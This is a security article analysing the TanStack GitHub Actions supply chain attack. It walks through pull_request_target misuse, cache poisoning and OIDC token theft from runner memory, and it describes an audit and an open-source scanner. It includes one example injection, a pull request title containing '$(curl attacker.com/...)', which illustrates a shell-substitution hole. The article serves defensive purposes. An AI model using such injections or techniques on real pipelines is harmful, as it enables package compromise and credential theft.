TanStack Attack: Locking Down GitHub Actions Workflows
A detailed analysis of the TanStack supply chain attack reveals how three known vulnerabilities chained to publish 84 malicious packages. Audits show similar risks persist across many repositories.…
A detailed analysis of the TanStack supply chain attack reveals how three known vulnerabilities chained to publish 84 malicious packages. Audits show similar risks persist across many repositories.
Last week, the TanStack project experienced a GitHub Actions supply chain attack that resulted in the publication of 84 malicious versions across 42 of its npm packages. The incident, detailed by founder MorroWtje, highlighted how known vulnerabilities can be chained to compromise trusted build processes, even those with robust provenance attestations. The attacker did not invent new exploits but combined existing security weaknesses to achieve widespread impact.
The attack vector involved a sequence of three distinct vulnerabilities, each bounded individually but potent when chained. This incident underscores the critical need for comprehensive security audits of CI/CD pipelines, moving beyond surface-level checks to understand the full execution context of automated workflows.
Vulnerability Chain: Three Known Footguns
The attack began with the misuse of the pull_request_target trigger in GitHub Actions. This trigger, designed to run with the base repository's secrets, was exploited by an attacker who opened a pull request from a renamed fork (zblgg/configuration). This allowed the execution of attacker-controlled code within the trusted context of the TanStack repository, a critical first step in the compromise, as described by MorroWtje on Reddit. Without this initial code execution, subsequent vulnerabilities would have been inert.
The second link in the chain involved a GitHub Actions cache namespace collision. By default, pull requests from forks and those from the upstream repository share the same cache. The attacker's fork pull request wrote a poisoned pnpm store to this shared cache. Later, when a legitimate maintainer's pull request merged, the release workflow restored this poisoned cache. This action executed the attacker-controlled binaries, effectively hijacking the build environment during a trusted release process. This cache poisoning mechanism provided the persistence and elevation needed for the final stage of the attack.
The third vulnerability exploited was OIDC token extraction from runner memory. The poisoned binary, now executing within the legitimate release workflow, read /proc/<pid>/mem to extract the OIDC token minted for the release. This technique, which MorroWtje notes used the same Python script seen in the March 2025 tj-actions/changed-files compromise, granted the attacker direct authorization. With the OIDC token, the attacker bypassed traditional authentication mechanisms and published 84 malicious versions across 42 TanStack packages directly to npm, completing the supply chain compromise. Each vulnerability alone is bounded, but their sequential exploitation crossed assumed security boundaries.
SLSA Provenance Misdirection
A significant aspect of the TanStack attack was the attacker's ability to generate malicious packages carrying valid SLSA Build Level 3 provenance. The Sigstore attestations for these packages were truthful, correctly attesting that they were built by release.yml on refs/heads/main in the TanStack repository. This outcome highlights a critical distinction: SLSA verifies where a package was built, not what code it was built from. Once the runtime environment is hijacked, as it was in the TanStack incident, provenance effectively becomes a signed certificate of authenticity for malware. This undermines the trust intended by such security frameworks when the build environment itself is compromised.
Internal Audit Findings
Following the TanStack incident, MorroWtje's team audited 20 of their own repositories. Every single repository was found to contain at least three of the same vulnerability classes that enabled the TanStack attack. This internal audit suggests that these vulnerabilities are not isolated to a single project but are systemic issues prevalent across many GitHub Actions configurations. The findings underscore the widespread nature of these security blind spots and the need for proactive, in-depth security reviews of CI/CD pipelines.
Subtler Issues Discovered
The audit also uncovered two subtler issues that had previously survived multiple review passes. First, setting persist-credentials: false on checkout is insufficient if a token is re-added later in the workflow for a push operation. Any tool installed between the initial checkout and the subsequent push can read the token from .git/config. The window during which credentials are active is as critical as the initial flag setting. Second, routing ${{ }} through environment variables prevents GitHub expression injection but does not stop shell command substitution. A construct like ${VAR} inside a double-quoted jq string can still be expanded by Bash before jq processes it. This means a pull request title containing $(curl attacker.com/...) could still execute. The recommended fix for this specific vector is to use jq --arg to safely pass variables.
Sentinel Scanner & Playbook
In response to these findings, MorroWtje's team developed and open-sourced Sentinel, a security scanner for GitHub Actions workflows. Sentinel, written in Ruby and released under an MIT license, is available on GitHub. A comprehensive writeup detailing the attack and the playbook applied to lock down GitHub Actions is also available on the copilotkit.ai blog. This resource provides actionable steps for other organizations to review and secure their own CI/CD pipelines against similar supply chain threats.
What We'd Change
The playbook derived from the TanStack incident offers a rigorous approach to securing GitHub Actions. However, its direct applicability varies based on organizational context and resource availability. For smaller teams or projects with limited dedicated security personnel, implementing every recommendation, such as continuous in-depth audits and custom scanner development, presents a significant operational overhead. The complexity of securing CI/CD pipelines, especially those integrating numerous third-party actions and dependencies, often demands specialized expertise that is not universally available.
Furthermore, while Sentinel provides a valuable open-source tool, its Ruby implementation might not align with the existing tooling or language preferences of all development teams. Adoption could require additional investment in learning a new language or integrating it into a different ecosystem. The incident also highlights a broader challenge: security features like SLSA provenance, while valuable, can create a false sense of security if their limitations are not fully understood. Relying solely on such attestations without a deep understanding of the underlying build process vulnerabilities can be misleading.
For projects that are not as widely adopted or critical as TanStack, the economic incentive for attackers might be lower, but the fundamental vulnerabilities remain. The core lesson is not just about specific fixes but about cultivating a security-first mindset throughout the entire software supply chain. This requires continuous education, threat modeling, and a willingness to invest in security tooling and processes that extend beyond basic configuration checks.
Securing modern software supply chains demands a proactive and granular understanding of every step in the build and deployment process. The TanStack incident demonstrates that relying on default configurations or a superficial understanding of security features is insufficient. Continuous auditing, coupled with a deep dive into the specific execution contexts of CI/CD workflows, is essential to mitigate the evolving threat landscape. Organizations must assume compromise and design their pipelines with layered defenses, treating every external dependency and configuration as a potential attack vector.
Pull quote: “Once the runtime environment is hijacked, as it was in the TanStack incident, provenance effectively becomes a signed certificate of authenticity for malware.”
- Sentinel (MIT) Deterministic security scanner for GitHub Actions workflows ↗
- TanStack Supply Chain Attack and How to Lock Down GitHub Actions ↗
- jpr5/sentinel ↗
Every claim ties to a primary source. See our methodology.